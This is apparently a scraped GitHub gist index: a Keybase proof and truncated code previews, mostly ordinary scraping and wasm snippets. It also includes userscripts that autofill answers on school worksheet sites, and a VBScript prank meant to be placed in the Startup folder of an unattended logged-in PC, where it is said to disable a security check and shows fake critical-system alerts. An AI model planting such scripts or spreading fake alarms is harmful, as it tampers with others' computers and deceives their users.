I hereby claim:
- I am mvolfik on github.
- I am mvolfik (https://keybase.io/mvolfik) on keybase.
- I have a public key ASDDaXK1Eg2w4eURSQ3GtP_eu8u4TFM637ckRfvRJg5GZgo
To claim this, I am signing this object:
// ==UserScript== | |
// @name Learningapps.org solver | |
// @namespace https://mvolfik.github.io/ | |
// @version 0.1 | |
// @description Add button to autofill learningapps.org | |
// @author Matěj Volf | |
// @match https://learningapps.org/tools/*/watch?id=* | |
// @downloadUrl https://gist.github.com/mvolfik/af53d9f52825bf1c4911d8536980fb43/raw/liveworksheets.user.js | |
// @updateUrl https://gist.github.com/mvolfik/af53d9f52825bf1c4911d8536980fb43/raw/liveworksheets.user.js | |
// @grant none |
// ==UserScript== | |
// @name Liveworksheets.com solver | |
// @namespace https://mvolfik.github.io/ | |
// @version 0.2 | |
// @description Add button to autofill liveworksheets.com | |
// @author Matěj Volf | |
// @match https://www.liveworksheets.com/* | |
// @downloadUrl https://gist.github.com/mvolfik/5d663fd304c38a872813e0576a58573a/raw/liveworksheets.user.js | |
// @updateUrl https://gist.github.com/mvolfik/5d663fd304c38a872813e0576a58573a/raw/liveworksheets.user.js | |
// @grant none |
use std::{cell::RefCell, collections::HashMap, rc::Rc}; | |
use js_sys::{Array, Function}; | |
use wasm_bindgen::{ | |
prelude::{wasm_bindgen, Closure}, | |
JsCast, JsValue, | |
}; | |
#[wasm_bindgen] | |
pub struct Writable { |
const { Actor } = require("apify"); | |
const { Readable } = require("node:stream"); | |
const https = require("node:https"); | |
class MyStream extends Readable { | |
constructor() { | |
super(); | |
this.i = 0; | |
} |
import { gotScraping } from 'got-scraping'; | |
const fetcher = gotScraping.extend({ | |
proxyUrl: process.env.PROXY_URL, | |
retry: { limit: 3 }, | |
}); | |
async function main() { | |
let baseUrl; | |
try { |
Set WshShell = WScript.CreateObject("WScript.Shell") | |
strName = wshShell.ExpandEnvironmentStrings( "%USERNAME%" ) | |
'If you find a Windows PC with user logged in, place this file in folder | |
' C:\Users\username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ (may vary with PC language) | |
' and run for first time to disable security check and Firefox default browser check | |
WScript.sleep 5000 | |
msgbox "Critical: Your system is severely affected by multiple threats.. All processes are being aborted..." | |
msgbox "Sytem failure in %WINDIR%" |
import json | |
from datetime import datetime as dt | |
import requests | |
import re | |
y = input("YEAR: ") | |
cookie = {'session': "YOUR SESSION COOKIE HERE (it's valid for 30 days)"} | |
homepage = requests.get('https://adventofcode.com/'+y+'/leaderboard/private', cookies=cookie) | |
for id in re.compile(r"(?<=\/"+y+r"\/leaderboard\/private\/view\/)(\d+)").findall(homepage.content.decode()): | |
print("\n"*5) | |
data = json.loads(requests.get('https://adventofcode.com/'+y+'/leaderboard/private/view/'+id+'.json', cookies=cookie).content) |
I hereby claim:
To claim this, I am signing this object: